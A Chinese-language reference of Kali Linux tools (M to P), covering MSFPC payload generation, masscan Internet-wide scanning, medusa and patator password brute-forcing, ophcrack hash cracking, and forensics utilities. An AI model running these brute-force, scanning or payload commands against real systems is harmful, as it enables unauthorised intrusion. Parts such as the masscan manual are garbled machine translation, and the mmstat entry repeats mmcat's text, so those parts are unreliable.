l TCP:这是在目标服务器上执行payload后的标准通信方法。这种通信方法可以用于任何类型的payload格式,但由于其不加密的性质,很容易被IDS检测到并被防火墙和IPS阻止。

l HTTP:如果MSFPC使用此选项,则payload将使用HTTP作为通信方法。payload将在端口80上通信。如果目标系统上只有端口80打开,则可以使用此选项绕过防火墙。由于其未加密的性质,很容易被IDS和IPS检测到。

l HTTPS:此选项用于生成将使用SSL通信的payload。如果需要隐秘的进行反向连接时,建议使用此选项。

l FIND_PORT:当无法从公共端口(80、443、53、21)获得反向连接时,使用此选项。如果设置了此选项,MSFPC生成的payloa将尝试所有1-65535端口进行通信。

l BATCH Mode: 在批处理模式下,MSFPC可以使用尽可能多的类型组合生成多个payload。

image-20220413203022607

MSFPC会为Windows生成所有组合的payload以及它们各自的资源文件(.rc)

l LOOP Mode: 这种模式会产生各种类型的多重payload,MSFPC还可以生成给定LHOST的所有payload。当我们不了解目标平台操作系统的类型时,这一点非常有用:

1
msfpc  loop 192.168.157.170

下面是该命令所生成的payload与资源文件。

image-20220413203110198

l VERBOSE: 如果要获取有关MSFPC在生成payload时使用的值的更多信息,可以使用此选项。

msfpc cmd stageless bind windows eth0 verbose

image-20220413203137962

macchanger

描述:

macchanger是一个改变电脑网卡MAC地址的程序,可以将自己电脑的mac隐藏起来,提高了自己的安全性。

实例:

查看自己电脑网卡的mac地址image-20220413203715260

随机生成mac地址,-r表示生成完全随机的地址,-a表示类型相同但是厂家随机的地址,-A表示任意类型的随机厂家地址。

image-20220413203811288

不改变厂家字节生成随机地址

image-20220413203848283

列出所有已知的厂家的三个字节

image-20220413203920120

mactime(-sleuthkit)

描述:

创建文件活动的ASCII时间线。
  mactime根据’-b’或STDIN指定的主体文件创建文件活动的ASCII时间线。 时间线将写入STDOUT。 主体文件必须采用由’ils -m’,’fls -m’或mac-robber工具创建的时间机器格式。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
-b body
指定主体文件的位置。 该文件必须由诸如“ fls -m”或“ ils -m”之类的工具生成。 'mac-robber''grave-robber'工具也可以用来生成文件。

-g group file
指定组文件的位置。 如果给出了,mactime将显示组名而不是GID。

-p password file
指定passwd文件的位置。 mactime将显示用户名,而不是给出的UID。

-i day|hour index file
指定要写入的索引文件的位置。 第一个参数指定粒度,可以是每小时摘要或每天。 如果给出'-d'标志,则摘要将以','分隔,以导入电子表格。

-d
以逗号分隔的格式显示时间轴和索引文件,用于将数据导入到电子表格中以进行演示或图形显示。

-h
显示有关会话的标题信息,包括时间范围,输入源以及passwd或组文件。

-V
显示版本信息

-m
月份以数字而不是名称给出(不适用于-y)。

-y
日期以ISO8601格式显示。

-z TIME_ZONE
收集数据的时区。 此参数的名称取决于系统(示例包括EST5EDT,GMT + 1)。 不适用于-y。

-z list
列出有效的时区。

日期范围
要作为时间表的日期范围。 标准格式为yyyy-mm-dd,表示开始日期,没有结束日期。 对于结束日期,请使用yyyy-mm-dd..yyyy-mm-dd。 日期可以包含时间,请使用格式yyyy-mm-ddThh:mm:ss作为开始和/或结束日期。

magicrescue

描述:

设备的扫描件,通过查看魔术字节来提取已知的文件类型。读取魔术打开救援设备,扫描他们的文件类型(知道如何恢复),并调用外部应用程序提取他们。它检查文件内容中的“魔术字节”,所以它可以用来删除实用程序,也可以用来恢复损坏的驱动器或分区。它可以在任何文件系统上工作,但在文件系统上非常分散的地方,它可以恢复每个文件的第一个块。然而,这些块有时高达50 mb。要调用magicrescue,你必须指定至少一个设备和-d -r选项。

参数:

1
2
3
4
5
6
7
8
-b blocksize
默认值:1。这将指示magicrescue仅考虑以blocksize参数的倍数开头的文件。 该选项仅适用于其后的方法,因此通过多次指定该选项,可以将其用于不同配方的不同行为。
使用此选项通常可以获得更好的性能,但是将发现更少的文件。 特别是,带有前导垃圾的文件(例如许多mp3文件)和其他文件中包含的文件可能会被跳过。 而且,某些文件系统不会将小文件对齐以限制边界,因此也不会以这种方式找到它们。
如果您不知道文件系统的块大小,请使用值512,该值几乎总是硬件扇区的大小。

-d directory
必选 找到文件的输出目录。 确保此目录中有足够的可用空间,尤其是在提取非常常见的文件类型(例如jpeg或gzip文件)时。 还要确保文件系统能够在一个目录中处理数千个文件,即,如果要提取许多文件,请不要使用FAT。
您不应该将输出目录放在试图从其中抢救文件的同一块设备上。这可能会在当前读取位置之前将相同的文件添加到块设备中,导致magicrescue稍后再次查找相同的文件。

masscan

描述:

Masscan,是 robertdavidgraham 在 Github 上开源的端口扫描工具,项目代码位于 https://github.com/robertdavidgraham/masscan,目前版本为 1.0.5。

Masscan 性能优越,极限速度可以从单机每秒发送1000万个数据包。Masscan 使用了与另一个著名的扫描工具 —— nmap 类似的命令行参数,方便进行上手使用。

Masscan 针对 TCP 端口进行扫描,使用 SYN 扫描的方式,不建立一个完全的 TCP 连接,而是首先发送一个 SYN 数据包到目标端口,然后等待接收。如果接收到 SYN-ACK 包,则说明该端口是开放的,此时发送一个 RST 结束建立过程即可;否则,若目标返回 RST,则端口不开放。

image-20220413210531780

Masscan 在其内部使用异步传输,更为灵活,允许任意的IP和端口范围,并使用了随机化的目标扫描,使得对于非连续段IP的扫描更加高效,解决了范围切分带来的性能损失问题,且降低了对于目标网络的负载压力,提高了自由度和性能

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
•<ip / range>:假定命令行上没有前缀“-”的任何内容
是IP地址或范围。有三种有效格式。首先是
单个IPv4地址,例如“ 192.168.0.1”。第二个范围是
“ 10.0.0.1-10.0.0.100”。第三个是CIDR地址,例如“ 0.0.0.0/0”。在
必须至少指定一个目标。可以指定多个目标。这个
可以指定为多个选项,以空格分隔,也可以分隔
以逗号作为单个选项,例如10.0.0.0/8,192.168.0.1。

•--range <ip / range>:与上述目标范围规格相同,不同之处在于
一个命名参数而不是一个未命名参数。

•-p <端口,--ports <端口>:指定要扫描的端口。一个
可以指定端口,例如-p80。可以指定端口范围,例如-p
20-25。可以指定端口/范围的列表,例如-p80,20-25。 UDP端口
也可以指定,例如--ports U:161,U:1024-1100。

•--banners:指定应抓取横幅,例如HTTP服务器版本
部分,HTML标题字段等。仅支持一些协议。

•--rate <packets-per-second>:指定所需的传输速率
包。这可以是非常小的数字,例如0.1,用于在
每10秒1个速率,对于10000000这样的非常大的数字,
尝试以每秒1000万个数据包的速度进行传输。以我的经验,Windows
每秒可以处理25万个数据包,而最新版本的Linux可以
每秒可以处理250万个数据包需要PF_RING驱动程序达到25
百万个数据包/秒。

•-c <文件名>,-conf <文件名>:读取配置文件。格式
配置文件的说明如下。

•--resume <文件名>:与--conf相同,只是一些选项是自动的-
临时设置,例如--append-output。配置文件格式
如下所述。

•--echo:不运行,而是将当前配置转储到文件中。这个
然后,可以将文件与-c选项一起使用。此输出的格式为
在下面的“配置文件”下进行介绍。

•-e <ifname>,-adapter <ifname>:使用命名的原始网络接口,例如
“ eth0”或“ dna1”。如果未指定,则找到的第一个网络接口带有
将使用默认网关。

•--adapter-ip <IP地址>:使用此IP地址发送数据包。如果没有指定
确定,则将使用绑定到网络接口的第一个IP地址。
可以指定一个范围,而不是一个IP地址。注意:的大小
范围必须是2的偶数幂,例如1、2、4、8、16、1024等。
礼服。

•--adapter-port <端口>:使用此端口号作为源发送数据包。如果
如果未指定,则会在40000到60000范围内选择一个随机端口。
此端口应由主机防火墙(如iptables)过滤,以防止
主机网络堆栈不会干扰到达的数据包。代替
单端口,可以指定一个范围,例如40000-40003。注意:的大小
范围必须是2的偶数幂,例如上面的示例
总共4个地址。

•--adapter-mac <mac-address>:使用此作为源MAC ad-发送数据包
连衣裙。如果未指定,则绑定到网络的第一个MAC地址位于-
将使用接口。

•--router-mac <mac地址>:将数据包作为destina-发送到此MAC地址
tion。如果未指定,则为网络接口的网关地址
将被ARPed。

•--ping:指示扫描应包括ICMP回显请求。这可能
包含在TCP和UDP扫描中。

•--exclude <ip / range>:将IP地址或范围列入黑名单,以防止其
被扫描。这会覆盖任何目标规范,从而保证
该地址/范围不会被扫描。与普通格式相同
目标规范。

•--excludefile <文件名>:在同一tar中读取排除范围列表
得到上面描述的格式。这些范围会覆盖所有目标,从而防止
他们被扫描。

•--append-output:使输出追加到文件,而不是覆盖
文件。

•--iflist:列出可用的网络接口,然后退出。

•--retries:每隔1秒发送一次的重试次数。注意
由于此扫描程序是无状态的,因此无论是否回复,都会发送重试
已经收到。

•--nmap:打印帮助,而不是这些选项的nmap兼容性替代品。

•--pcap-payloads:从libpcap文件中读取包含数据包的数据包,并
提取UDP有效负载,并将这些有效负载与目标相关联
港口。这些有效负载将在通过以下方式发送UDP数据包时使用
匹配目标端口。每个端口仅记住一个有效负载。 Sim‐
与--nmap-payloads类似。

•--nmap-payloads <文件名>:以与nmap相同的格式读取文件
文件nmap-payloads。它包含UDP有效负载,以便我们可以发送有用的UDP
包而不是空包。与--pcap-payloads类似。

•--http-user-agent <user-agent>:将现有的user-agent字段替换为
执行HTTP请求时的指示值。

•--open-only:仅报告打开的端口,不报告关闭的端口。

•--pcap <文件名>:将收到的数据包(但不传输的数据包)保存到
libpcap格式的文件。

•--packet-trace:打印发送和接收的那些数据包的摘要。这是
在低速率下很有用,例如每秒几个数据包,但会淹没
终端机率很高。

•--pfring:强制使用PF_RING驱动程序。如果出现以下情况,程序将退出
PF_RING DNA漂移器不可用。

•--resume-index:扫描中的暂停点。

•--resume-count:退出前要发送的最大探测数。这是
与--resume-index一起使用可将扫描切碎并分成多个
实例,尽管--shards选项可能更好。

•--shards <x> / <y>:在实例之间拆分扫描。 x是此扫描的ID,
而y是实例总数。例如,--shards 1/2告诉
实例发送每个其他数据包,并从索引0开始。
--shards 2/2发送其他所有数据包,但从索引1开始,因此它
与第一个示例不重叠。

•--rotate <时间>:旋转输出文件,将其重命名为当前时间
图章,将其移动到单独的目录中。时间以数量指定
秒,例如“ 3600”一个小时。或者,可以指定时间单位,例如
“每小时”,“或6小时”或“ 10分钟”。时间在均匀边界上对齐,因此
如果指定为“ daily”,则文件将每天在午夜旋转。

•--rotate-offset <时间>:时间的偏移量。这是为了适应时间-
区域。

•--rotate-dir <目录>:旋转文件时,这指定哪个目录
尝试将文件移动到。一个有用的目录是/ var / log / masscan。

•--seed <integer>:整数作为种子随机数生成器的种子。用一个
不同的种子将导致数据包以不同的随机顺序发送。在-
可以指定字符串时间,而不是整数,使用
本地时间戳记,自动生成不同的随机扫描顺序。
如果未指定种子,则时间为默认值。

•--regress:运行回归测试,成功返回“ 0”,失败返回“ 1”。

•--ttl <num>:指定传出数据包的TTL,默认为255。

•--wait <seconds>:指定发送完成后的秒数
在退出程序之前等待接收数据包。默认值为10秒
onds。可以将字符串永久指定为永不终止。

•--offline:实际不传输数据包。这对低费率很有用
和--packet-trace以查看可能传输了哪些数据包。要么,
它与--rate 100000000一起使用以比较快速传输的基准
会工作(假设零开销驱动程序)。 PF_RING慢20%
比离线模式下的基准测试结果要高。

•-sL:不执行扫描,而是创建一个随机地址列表。
这对于导入其他工具很有用。选项--shard,--re
sume-index和--resume-count对于此功能很有用。

•--interactive:在控制台上实时显示结果。没有效果
如果与--output-format或--output-filename一起使用。

•--output-format <fmt>:指示输出文件的格式,可以是
xml,二进制,grepable,列表或JSON。选项--output-filename必须
指定。

•--output-filename <filename>:将结果保存到的文件。如果pa
rameter --output-format未指定,则默认为xml
用过的。

•-oB <文件名>:将输出格式设置为二进制并将输出保存在
给定的文件名。这等效于使用--output-format和--out-
put-filename参数。然后可以使用--readscan选项读取
二进制文件。二进制文件的大小比其XML等效项小,但是
需要一个单独的步骤才能转换回XML或其他可读格式。

•-oX <文件名>:将输出格式设置为XML并将输出保存在
给定的文件名。这等效于使用--output-format xml和
--output-filename参数。

•-oG <文件名>:将输出格式设置为grepable并将输出保存在
给定的文件名。这等效于使用--output-format grepable
和--output-filename参数。

•-oJ <文件名>:将输出格式设置为JSON并将输出保存在
给定的文件名。这等效于使用--output-format json和
--output-filename参数。

•-oL <文件名>:将输出格式设置为简单列表格式并保存
以给定的文件名输出。这等效于使用--output-format
list和--output-filename参数。

•--readscan <binary-files>:从-oB选项中读取-oB选项创建的文件
扫描,然后根据其他格式以其他格式之一输出它们
需求线参数。换句话说,它可以采用
输出并将其转换为XML或JSON格式。

配置文件格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
配置文件使用与命令行上相同的参数名称,但是不带-前缀,并且名称和值之间带有=号。前任足够的配置文件可能是: 

# targets
range = 10.0.0.0/8,192.168.0.0/16
range = 172.16.0.0/14
ports = 20-25,80,U:53
ping = true

# adapter
adapter = eth0
adapter-ip = 192.168.0.1
router-mac = 66-55-44-33-22-11

# other
exclude-file = /etc/masscan/exludes.txt

默认情况下,程序将从文件/ etc / mass中读取默认配置
可以/masscan.conf。这对于系统特定的设置很有用,例如
--adapter-xxx选项。这对于排除的IP地址也很有用,这样您就可以
可以跳过整个危险的地址(例如那些危险的地址),扫描整个Internet
归国防部所有,不要犯任何意外错误。

CONTROL-C行为
当用户按下ctrl-c时,扫描将停止,并且当前的状态
扫描将保存在文件“ paused.conf”中。可以使用
--resume选项:

# masscan --resume paused.conf

该程序不会立即退出,但会等待默认的10秒
从Internet接收结果并保存结果,然后完全退出。
可以使用--wait选项更改此时间。

简单的例子
以下示例扫描所有专用网络以查找Web服务器,并打印所有
打开找到的端口。

# masscan 10.0.0.0/8 192.168.0.0/16 172.16.0.0/12 -p80 --open-only

下面的示例扫描整个Internet的DNS服务器,获取它们的
版本,然后将结果保存在XML文件中。

# masscan 0.0.0.0/0 --excludefile no-dod.txt -pU:53 --banners --output-filename dns.xml

您应该能够将XML导入数据库等。

以下示例读取名为bin-test.scan的二进制扫描结果文件并
将结果打印到控制台。

#masscan --readscan bin-test.scan

以下示例读取名为bin-test.scan的二进制扫描结果文件
创建一个名为bin-test.xml的XML输出文件。

#masscan --readscan bin-test.scan -oX bin-test.xml

高级示例
假设您要扫描整个Internet并在整个扫描范围内进行扫描
三台机器。 Masscan将使用以下命令在所有三台机器上启动
命令行:

# masscan 0.0.0.0/0 -p0-65535 --shard 1/3
# masscan 0.0.0.0/0 -p0-65535 --shard 2/3
# masscan 0.0.0.0/0 -p0-65535 --shard 3/3

另一种方法是使用“恢复”功能。扫描具有一个内部索引
从零到端口数乘以IP地址数。跟随
较低的示例显示了将扫描分为1000个项目的块:

# masscan 0.0.0.0/0 -p0-65535 --resume-index 0 --resume-count 1000
# masscan 0.0.0.0/0 -p0-65535 --resume-index 1000 --resume-count 1000
# masscan 0.0.0.0/0 -p0-65535 --resume-index 2000 --resume-count 1000
# masscan 0.0.0.0/0 -p0-65535 --resume-index 3000 --resume-count 1000

脚本可以使用它来在其他许多机器上拆分较小的任务,例如
亚马逊EC2实例。随着每个实例完成一项工作,脚本可能会发送一个
请求中央协调服务器进行更多工作。



意外重置
使用适配器的默认IP地址(内置)扫描TCP时
堆栈将生成RST数据包。这样可以防止横幅被抓住。有
有两种解决方法。第一种方法是创建防火墙规则以阻止
从堆栈看到的端口。工作方式取决于操作
系统,但在Linux上看起来像这样:

#iptables -A INPUT -p tcp -i eth0 –dport 61234 -j DROP

然后,在扫描时,必须使用相同的端口作为源:

# masscan 10.0.0.0/8 -p80 --banners --adapter-port 61234

另一种方法是“欺骗”另一个IP地址。该IP地址必须为
在本地网络范围内,但任何一个都不得使用
您自己的计算机或网络上的另一台计算机。一个例子
看起来像:

# masscan 10.0.0.0/8 -p80 --banners --adapter-ip 192.168.1.101

设置您的源IP地址是这种方式的首选方式
扫描器。

MATE 计算器

image-20220413211109125

MATE 终端

image-20220413211452339

medusa

描述:

Medusa是支持AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NCP (NetWare),
NNTP, PcAnywhere, POP3, PostgreSQL, rexec, rlogin, rsh, SMB, SMTP
(AUTH/VRFY), SNMP, SSHv2, SVN, Telnet, VmAuthd, VNC的密码爆破工具。

参数:

1
2
3
使用语法:
Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-h [TEXT]      目标IP
-H [FILE] 目标主机文件
-u [TEXT] 用户名
-U [FILE] 用户名文件
-p [TEXT] 密码
-P [FILE] 密码文件
-C [FILE] 组合条目文件
-O [FILE] 文件日志信息
-e [n/s/ns] N意为空密码,S意为密码与用户名相同
-M [TEXT] 模块执行名称
-m [TEXT] 传递参数到模块
-d 显示所有的模块名称
-n [NUM] 使用非默认端口
-s 启用SSL
-r [NUM] 重试间隔时间,默认为3秒
-t [NUM] 设定线程数量
-L 并行化,每个用户使用一个线程
-f 在任何主机上找到第一个账号/密码后,停止破解
-q 显示模块的使用信息
-v [NUM] 详细级别(0-6)
-w [NUM] 错误调试级别(0-10)
-V 显示版本
-Z [TEXT] 继续扫描上一次

实例:

medusa -d
查看模块帮助

medusa -M postgres -q

猜解postgresql数据库密码

1
medusa -H /tmp/ip.txt -u postgres -n 5432 -P /tmp/pass.txt -e ns -M postgres -T 255 -f -O /tmp/good.txt -r 0
1
2
3
4
5
6
7
8
9
10
-H 爆破的主机文件列表
-u 爆破用户名
-n 爆破端口
-P 爆破使用密码
-e ns 判断密码是否是空密码,还是账号密码一样.
-M 使用模块的名字
-T 可以简单的理解为线程数
-f 一个ip爆破成功后,就停止该ip剩下的爆破.
-O 保存成功的文件
-r 0 重试间隔为0秒

mimikatz

https://gitbook.cn/gitchat/column/5afbf24f753289354cab7983/topic/5afbf818753289354cab7e3c

minicom

描述:

minicom打开指定设备端口(例:多个串口)

参数:

1
2
-D, --device
Specify the device, overriding the value given in the configuration file.

使用-D参数 可以打开指定设备,所以当默认设定是ttyUSB0的时候,我们想要打开tty1时,就如下命令运行:

1
sudo minicom -D /dev/tty1

image-20220413212828348

miredo

描述:

用于Unix的Teredo IPv6隧道。
  Miredo是一个守护程序,可提供与Internet提出的标准“ Teredo:通过NAT通过UDP隧道IPv6”兼容的Teredo隧道服务。 它可以提供Teredo客户端或Teredo中继功能。
  这对于为NAT之后的用户提供IPv6连接非常有用,其中大多数用户根本不支持IPv6。 许多NAT甚至都不支持proto-41转发,因此无法通过它们建立6to4或点对点IPv6-over-IPv4隧道。
  Teredo中继是一个IPv6路由器,它通过在UDP / IPv4上封装这些IPv6数据包来在IPv6 Internet和Teredo客户端之间转发IPv6数据包。
  Teredo客户端是启用IPv6的主机,位于仅IPv4的网络地址转换器(又称为NAT)后面,并将其IPv6流量封装在基于IPv4数据包的UDP中。
  Teredo服务器是特殊的Teredo中继,Teredo客户端需要通过Teredo设置其IPv6连接性。 Teredo服务器必须具有全局静态的后续IPv4地址。 它在UDP端口3544上接收来自Teredo客户端和Teredo中继的数据包。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-c config_file or –config config_file
为Miredo指定替代配置文件,而不是默认的/etc/miredo/miredo.conf。

-f or –foreground
请勿脱离控制台。 在前台运行程序。

-h or –help
显示一些帮助并退出。

-t or –chrootdir
指定初始化完成后用作根目录的目录。 当用作Teredo客户端时,主机名解析器库文件必须存在于chroot中。 对于Teredo中继,可以安全地将目录保留为空。

-u username or –user username
覆盖程序将以其运行的用户。 默认情况下,它作为无人运行。

-V or –version
显示程序版本和许可证,然后退出

Server_name
这个可选的命令参数指定要使用的Teredo服务器,它将覆盖配置文件中找到的所有ServerAddress指令。 如果RelayType未设置为“ client”(请参阅miredo.conf),则将忽略该消息。

image-20220413213454552

mitmproxy

描述:

是一款免费、开放的基于Python 开发的交互式HTTPS代理工具

使用:

同Charles一样,在使用mitmproxy之前,我们需要先安装证书
在连接mitmproxy代理之后,通过访问连接:http://mitm.it/ 来安装证书

image-20220413213920032

选择相应版本安装即可,注意安装完证书后需要信任证书后才能正常进行抓包

mitmproxy 工具有以下三部分组成

mitmproxy -> 命令行工具(win不支持)
mitmdump -> 加载 python 脚本
mitmweb -> web 界面工具
常用参数
-h 帮助信息
-p 修改监听端口
-s 加载 python 脚本
默认监听端口8080

mitmproxy是已命令行的方式运行的
例:监听8999端口进行抓包

image-20220413214040763

这里会有抓包内容

然后通过q命令可以返回到主界面,然后通过f命令加上要过滤的参数可以过滤请求,如下是只展示包含mitmproxy的请求

image-20220413214114032

最后可以通过q命令退出

mmcat

描述:

将分区的内容输出到stdout。
  mmcat将特定卷的内容输出到stdout。 这使您可以将分区的内容提取到单独的文件中。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-t mmtype
指定媒体管理类型。 使用“ -t列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o offset
在包含分区系统的卷开始的映像中指定偏移量。 分区系统的相对偏移将添加到该值。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-v
将调试语句的详细输出输出到stderr

-V
显示版本信息

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则会自动包含后续的图像段。

part_num
要处理的分区的地址。 请参见mmls输出以确定分区的地址。

mmls

描述:

显示卷系统的分区布局(分区表)。
  mmls显示卷系统中分区的布局,其中包括分区表和磁盘标签。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
-t mmtype
指定媒体管理类型。 使用“ -t列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o offset
在包含分区系统的卷开始的映像中指定偏移量。 分区系统的相对偏移将添加到该值。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节。

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-B
包括分区大小(以字节为单位)的列

-r
递归到DOS分区并查找其他分区表。当在x86系统上安装Unix时,经常会发生此设置。

-v
将调试语句的详细输出输出到stderr

-V
显示版本信息

-a
显示分配的卷

-A
显示未分配的卷

-m
显示的元数据卷

-M
隐藏的元数据卷

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以“ .001”结尾的文件),则会自动包含后续的图像段。

mmstat

描述:

 将分区的内容输出到stdout。
  mmcat将特定卷的内容输出到stdout。 这使您可以将分区的内容提取到单独的文件中。

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
-t mmtype
指定媒体管理类型。 使用“ -t列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-o offset
在包含分区系统的卷开始的映像中指定偏移量。 分区系统的相对偏移将添加到该值。

-b dev_sector_size
基础设备扇区的大小(以字节为单位)。 如果未给出,则使用图像格式的值(如果存在)或假定为512字节

-i imgtype
标识图像文件的类型,例如原始文件。 使用“ -i列表”列出支持的类型。 如果未给出,则使用自动检测方法。

-v
将调试语句的详细输出输出到stderr

-V
显示版本信息

image [images]
要读取的磁盘或分区映像,其格式以“ -i”给出。 如果将图像分为多个段,则可以指定多个图像文件名。 如果仅给出一个图像文件,并且其名称是序列中的第一个图像文件(例如,以'.001'结尾的文件),则会自动包含后续的图像段。

part_num
要处理的分区的地址。 请参见mmls输出以确定分区的地址。

Mousepad

描述:

等于记事本

参数:

image-20220413215624940

Maltego

image-20220319135316332

点开free那个就行

结合2022/03/19这次重要的社工实战进行使用

首次使用需要注册

注册网站:https://www.paterva.com/web7/buy/maltego-clients/maltego-ce.php

image-20220319140521168

image-20220319140600726

详细步骤参考https://blog.csdn.net/smli_ng/article/details/105943189

有坑

1)没有gooreplace插件无法进行人机验证

image-20220319144737311

直接用firefox下载插件 挂代理打开即可

gooreplace配置如下

image-20220319144902486

2)记得翻墙才能注册哦

image-20220319141400438

当然可以直接使用caseFile版本 不需要注册

不过这个是用本地的file 不能进行联网使用,不建议

image-20220319142848469

选择CE直接登录

image-20220319145238868

网上有很多使用方法的教程可以去看

image-20220319151127399

image-20220319151134739

这里讲实战

O

offensive Security Training

描述:

kali开发者的培训网站

参数:

image-20220413215834730

onesixtyone

描述:

onesixtone是针对snmp的一个小工具。

参数:

image-20220413220245349

onesixtone自带的字典

image-20220413220335261

针对目标的基本扫描

1
onesixtone -c 字典 192.168.0.1 -o my.log -w 100

ophcrack

描述:

Ophcrack是一个使用Rainbow table来破解视窗操作系统下的LAN Manager散列(LM hash)的计算机程序,它是基于GNU通用公共许可证下发布的开放源代码程序。

参数:

image-20220413220654758

image-20220413221056805

load hash

配置彩虹表破解hash

里面的table有多种解密表

image-20220413221001495

然后再点击crack,等一会就可以得出明文密码。

P

Parole 媒体播放器

image-20220413221205061

patator

描述:

集成在kali里的破解工具

它直接给出各个模块的用法,例如:ftp、ssh、http、pop、imap、mssql和oracle等。

参数:

 如果我们想看具体某个模块的使用方法,我们可以输入“patator ssh_login –help”来查看帮助信息,如下图所示:

image-20220413222033950

ssh_login帮助信息

  他给了我们一个非常直观的例子:

  patator ssh_login host=10.0.0.1 user=root password=FILE0 0=password.txt

  host后跟主机名,user后跟用户名,password后跟密码,当然也都可以跟字典文件,就比如“password=FILE0 0=password.txt”一样,如果用户名也是一个字典文件那么就可以写成“user=FILE1 1=userlist.txt”。

pdfid

描述:

测试PDF文件的工具

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
--version
显示程序的版本号并退出

-h,--help
显示帮助信息并退出

-s,--scan
扫描给定目录

-a,--all
显示所有的名称

-e,--extra
显示额外的数据,例如日期

-f,--force
即使没有正确的%PDF标头,也强制扫描文件

-d,--disarm
禁用JavaScript并自动启动

-p PLUGINS,--plugins=PLUGINS
要加载的插件(使用逗号分隔的插件,; @file支持)

-c,--csv
使用插件时输出CSV数据

-m MINIMUMSCORE,--minimumscore=MINIMUMSCORE
插件结果输出的最低分数

-v,--verbose
详细(也会引发捕获的异常)

-S SELECT,--select=SELECT
选择表达式

-n,--nozero
抑制计数等于零的输出

-o OUTPUT,--output=OUTPUT
输出到日志文件

--pluginoptions=PLUGINOPTIONS
插件选项

-l,--literalfilenames
从字面上接受文件名,不匹配通配符

--recursedir
递归目录(允许使用通配符和此处的文件(@ ...))

pdf-parser

描述:

PDF-Parser是一个分析PDF文件的工具,包含以下特征:

  • 加载和分析objects和headers
  • 提取作者、描述等meta数据
  • 提取有序页面的文本
  • 支持压缩的pdf
  • 支持mac OS 罗马字符集编码
  • 在text sections处理十六进制和十进制编码
  • 遵循PSR-0
  • 遵循PSR-1

分析恶意PDF文件

首先创建了一个PDF文件,并嵌入一个EXE文件。

Step 1: 启动恶意pdf分析器pdf-parser

1
root@kali:~# pdf-parser -h

列出所有PDFParser选项

Step2: 获取PDF文档的统计信息

1
root@kali:~# pdf-parser -a /root/Desktop/template.pdf

Analyzing a Malicious PDF File

Step3: 通过 FlateDecode,ASCIIHexDecode, ASCII85Decode, LZWDecode和 RunLengthDecode传递和过滤流数据

1
root@kali:~# pdf-parser -f /root/Desktop/template.pdf

Analyzing a Malicious PDF File

Analyzing a Malicious PDF File

Step4: 获得PDF哈希值

1
root@kali:~# pdf-parser -H /root/Desktop/template.pdf

Analyzing a Malicious PDF File

Step5: 进行区分大小写搜索

1
root@kali:~# pdf-parser –casesensitive /root/Desktop/template.pdf

Analyzing a Malicious PDF File

Step6: 获取加入文档的javascripts

1
pdf-parser –search javascript –raw /root/Desktop/template.pdf

Analyzing a Malicious PDF File

Stats选项表示PDF中统计数据。使用stats可以识别PDF中的一些意外的对象,来描述pdf记录的特征。

Search选项会扫描简介对象中的字符串。查询是不区分大小写的,而且对混淆方法没有防御能力。

Filter选项会对流数据进行过滤,raw选项会使用pdf-parser输出原始未经加工的数据。

https://gbhackers.com/creating-and-analyzing-a-malicious-pdf-file-with-pdf-parser-tool/

pixiewps

描述:

image-20220413231858197

参数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
所需的参数:
-e,--pke
M1中找到的被注册人的DH公钥。

-r,--pkr
在M2中找到的注册服务商的DH公钥。 可以通过在Reaver和pixiewps中指定--dh-small来避免这种情况。

